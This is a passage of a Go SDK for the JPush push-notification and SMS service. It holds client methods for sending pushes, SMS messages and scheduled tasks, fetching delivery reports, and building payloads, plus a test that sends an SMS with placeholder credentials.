44 | req.SetProtocolVersion("HTTP/1.1")
45 | req.SetQueryParam("count", strconv.Itoa(count))
46 | req.SetQueryParam("type", push_type)
47 |
48 | return req.Bytes()
49 | }
50 |
51 | // 发送短信
52 | func (j *JPushClient) SendSms(data []byte) (string, error) {
53 | return j.sendSmsBytes(data)
54 | }
55 | func (j *JPushClient) sendSmsBytes(content []byte) (string, error) {
56 | ret, err := SendPostBytes2(SMS, content, j.AppKey, j.MasterSecret)
57 | if err != nil {
58 | return "", err
59 | }
60 |
61 | if strings.Contains(ret, SUCCESS_FLAG) {
62 | return ret, nil
63 | }
64 |
65 | return "", errors.New(ret)
66 | }
67 |
68 | // Push 推送消息
69 | func (j *JPushClient) Push(data []byte) (string, error) {
70 | return j.sendPushBytes(data)
71 | }
72 |
73 | // CreateSchedule 创建推送计划
74 | func (j *JPushClient) CreateSchedule(data []byte) (string, error) {
75 | return j.sendScheduleBytes(data)
76 | }
77 |
78 | // DeleteSchedule 删除推送计划
79 | func (j *JPushClient) DeleteSchedule(id string) (string, error) {
80 | return j.sendDeleteScheduleRequest(id)
81 | }
82 |
83 | // GetSchedule 获取推送计划
84 | func (j *JPushClient) GetSchedule(id string) (string, error) {
85 | return j.sendGetScheduleRequest(id)
86 | }
87 |
88 | // SendPushString sends a push request and returns the response body as string
89 | func (j *JPushClient) sendPushString(content string) (string, error) {
90 | ret, err := SendPostString(HOST_PUSH, content, j.AppKey, j.MasterSecret)
91 | if err != nil {
92 | return "", err
93 | }
94 |
95 | if strings.Contains(ret, SUCCESS_FLAG) {
96 | return ret, nil
97 | }
98 |
99 | return "", errors.New(ret)
100 | }
101 |
102 | // SendPushBytes sends a push request and returns the response body as string
103 | func (j *JPushClient) sendPushBytes(content []byte) (string, error) {
104 | ret, err := SendPostBytes2(HOST_PUSH, content, j.AppKey, j.MasterSecret)
105 | if err != nil {
106 | return "", err
107 | }
108 |
109 | if strings.Contains(ret, SUCCESS_FLAG) {
110 | return ret, nil
111 | }
112 |
113 | return "", errors.New(ret)
114 | }
115 |
116 | // SendScheduleBytes sends a schedule request and returns the response body as string
117 | func (j *JPushClient) sendScheduleBytes(content []byte) (string, error) {
118 | ret, err := SendPostBytes2(HOST_SCHEDULE, content, j.AppKey, j.MasterSecret)
119 | if err != nil {
120 | return "", err
121 | }
122 |
123 | if strings.Contains(ret, "schedule_id") {
124 | return ret, nil
125 | }
126 |
127 | return "", errors.New(ret)
128 | }
129 |
130 | // SendGetScheduleRequest sends a get schedule request and returns the response body as string
131 | func (j *JPushClient) sendGetScheduleRequest(schedule_id string) (string, error) {
132 | req := Get(HOST_SCHEDULE)
133 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second)
134 | req.SetHeader("Connection", "Keep-Alive")
135 | req.SetHeader("Charset", CHARSET)
136 | req.SetBasicAuth(j.AppKey, j.MasterSecret)
137 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON)
138 | req.SetProtocolVersion("HTTP/1.1")
139 | req.SetQueryParam("schedule_id", schedule_id)
140 |
141 | return req.String()
142 | }
143 |
144 | // SendDeleteScheduleRequest sends a delete schedule request and returns the response body as string
145 | func (j *JPushClient) sendDeleteScheduleRequest(schedule_id string) (string, error) {
146 | req := Delete(HOST_SCHEDULE)
147 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second)
148 | req.SetHeader("Connection", "Keep-Alive")
149 | req.SetHeader("Charset", CHARSET)
150 | req.SetBasicAuth(j.AppKey, j.MasterSecret)
151 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON)
152 | req.SetProtocolVersion("HTTP/1.1")
153 | req.SetQueryParam("schedule_id", schedule_id)
154 |
155 | return req.String()
156 | }
157 |
158 | // UnmarshalResponse unmarshals the response body to the map
159 | func UnmarshalResponse(resp string) (map[string]interface{}, error) {
160 | var ret map[string]interface{}
161 |
162 | if len(strings.TrimSpace(resp)) == 0 {
163 | return ret, errors.New("empty response")
164 | }
165 |
166 | err := json.Unmarshal([]byte(resp), &ret)
167 | if err != nil {
168 | return nil, err
169 | }
170 |
171 | if _, ok := ret["error"]; ok {
172 | return nil, errors.New(resp)
173 | }
174 |
175 | return ret, nil
176 | }
177 |
--------------------------------------------------------------------------------
/report.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import "time"
4 |
5 | // GetReport 获取消息推送结果
6 | func (j *JPushClient) GetReport(msg_ids string) (string, error) {
7 | return j.sendGetReportRequest(msg_ids)
8 | }
9 |
10 | // SendGetReportRequest sends a get report request and returns the response body as string
11 | func (j *JPushClient) sendGetReportRequest(msg_ids string) (string, error) {
12 | req := Get(HOST_REPORT)
13 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second)
14 | req.SetHeader("Connection", "Keep-Alive")
15 | req.SetHeader("Charset", CHARSET)
16 | req.SetBasicAuth(j.AppKey, j.MasterSecret)
17 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON)
18 | req.SetProtocolVersion("HTTP/1.1")
19 | req.SetQueryParam("msg_ids", msg_ids)
20 |
21 | return req.String()
22 | }
23 |
--------------------------------------------------------------------------------
/schedule.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import (
4 | "encoding/json"
5 | "time"
6 | )
7 |
8 | type Schecule struct {
9 | Cid string `json:"cid"` // 定时任务id
10 | Name string `json:"name"` // 定时任务名称
11 | Enabled bool `json:"enabled"` // 是否启用
12 | Trigger map[string]interface{} `json:"trigger"` // 定时任务触发条件
13 | Push *PayLoad `json:"push"` // 定时任务推送内容
14 | }
15 |
16 | const (
17 | formatTime = "2006-01-02 15:04:05"
18 | )
19 |
20 | // NewSchedule 创建定时任务
21 | func NewSchedule(cid, name string, enabled bool, push *PayLoad) *Schecule {
22 | return &Schecule{
23 | Cid: cid,
24 | Name: name,
25 | Enabled: enabled,
26 | Push: push,
27 | }
28 | }
29 |
30 | // SetCid 设置定时任务id
31 | func (s *Schecule) SetCid(cid string) {
32 | s.Cid = cid
33 | }
34 |
35 | // GetCid 获取定时任务id
36 | func (s *Schecule) GetCid() string {
37 | return s.Cid
38 | }
39 |
40 | // SetName 设置定时任务名称
41 | func (s *Schecule) SetName(name string) {
42 | s.Name = name
43 | }
44 |
45 | // GetName 获取定时任务名称
46 | func (s *Schecule) GetName() string {
47 | return s.Name
48 | }
49 |
50 | // SetEnabled 设置定时任务是否启用
51 | func (s *Schecule) SetEnabled(enabled bool) {
52 | s.Enabled = enabled
53 | }
54 |
55 | // GetEnabled 获取定时任务是否启用
56 | func (s *Schecule) GetEnabled() bool {
57 | return s.Enabled
58 | }
59 |
60 | // SetPayLoad 设置定时任务推送内容
61 | func (s *Schecule) SetPayLoad(push *PayLoad) {
62 | s.Push = push
63 | }
64 |
65 | // SingleTrigger 单次触发
66 | func (s *Schecule) SingleTrigger(t time.Time) {
67 | s.Trigger = map[string]interface{}{
68 | "single": map[string]interface{}{
69 | "time": t.Format(formatTime),
70 | },
71 | }
72 | }
73 |
74 | // PeriodicalTrigger 周期触发
75 | func (s *Schecule) PeriodicalTrigger(start, end, t time.Time, timeUnit string, frequency int, point []string) {
76 | s.Trigger = map[string]interface{}{
77 | "periodical": map[string]interface{}{
78 | "start": start.Format(formatTime),
79 | "end": end.Format(formatTime),
80 | "time": t.Format(formatTime),
81 | "time_unit": timeUnit,
82 | "frequency": frequency,
83 | "point": point,
84 | },
85 | }
86 | }
87 |
88 | // Bytes 转换为字节数组
89 | func (s *Schecule) Bytes() ([]byte, error) {
90 | return json.Marshal(s)
91 | }
92 |
--------------------------------------------------------------------------------
/sms_test.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "testing"
7 | )
8 |
9 | func TestSendSMS(t *testing.T) {
10 |
11 | var mobile string
12 | mobile = "xxxx"
13 | var tempid int64
14 | tempid = 1
15 | const code = "141238"
16 | tempara := TempPara{Code: json.RawMessage(code)}
17 | fmt.Printf("mobile is %s\n", string(mobile))
18 |
19 | smspayload := NewSmsPayLoad()
20 | smspayload.setMobile(&mobile)
21 | smspayload.SetTempId(&tempid)
22 | smspayload.SetTempara(&tempara)
23 | // Send
24 | c := NewJPushClient("appKey", "masterSecret") // appKey and masterSecret can be gotten from https://www.jiguang.cn/
25 | data, err := smspayload.Bytes()
26 | fmt.Printf("sms is %s\n", string(data))
27 | if err != nil {
28 | panic(err)
29 | }
30 | res, err := c.SendSms(data)
31 | if err != nil {
32 | fmt.Printf("%+v\n", err)
33 | } else {
34 | fmt.Printf("ok: %v\n", res)
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/smspayload.go:
--------------------------------------------------------------------------------
1 | package jpush
2 |
3 | import "encoding/json"
4 |
5 | type SmsPayLoad struct {
6 | Mobile string `json:"mobile"` // 手机号
7 | Signid int `json:"signid,omitempty"` // 签名ID,该字段为空则使用应用默认签名。
8 | TempId int64 `json:"temp_id,omitempty"` // 短信补充的内容模板 ID。没有填写该字段即表示不使用短信补充功能。
9 | TempPara TempPara `json:"temp_para,omitempty"` // 短信模板中的参数。
10 |
11 | }
12 | type TempPara struct {
13 | Code json.RawMessage `json:"code,string"`
14 | }
15 |
16 | // NewPayLoad 创建一个新的推送对象
17 | func NewSmsPayLoad() *SmsPayLoad {
18 | p := &SmsPayLoad{}
19 | return p
20 | }
21 |
22 | // SetPlatform 设置平台
23 | func (p *SmsPayLoad) setMobile(mobile *string) {
24 | p.Mobile = *mobile
25 | }
26 | func (p *SmsPayLoad) SetSignid(signid *int) {
27 | p.Signid = *signid
28 | }
29 | func (p *SmsPayLoad) SetTempId(tempId *int64) {
30 | p.TempId = *tempId
31 | }
32 | func (p *SmsPayLoad) SetTempara(tempara *TempPara) {
33 | p.TempPara = *tempara
34 | }
35 |
36 | // Bytes 返回推送对象的json字节数组
37 | func (p *SmsPayLoad) Bytes() ([]byte, error) {
38 | payload := struct {
39 | Mobile string `json:"mobile"` // 手机号
40 | Signid int `json:"signid,omitempty"` // 签名ID,该字段为空则使用应用默认签名。
41 | TempId int64 `json:"temp_id,omitempty"` // 短信补充的内容模板 ID。没有填写该字段即表示不使用短信补充功能。
42 | TempPara TempPara `json:"temp_para,omitempty"` // 短信模板中的参数。
43 | }{
44 |
45 | Mobile: p.Mobile,
46 | Signid: p.Signid,
47 | TempId: p.TempId,
48 | TempPara: p.TempPara,
49 | }
50 | return json.Marshal(payload)
51 | }
52 |
--------------------------------------------------------------------------------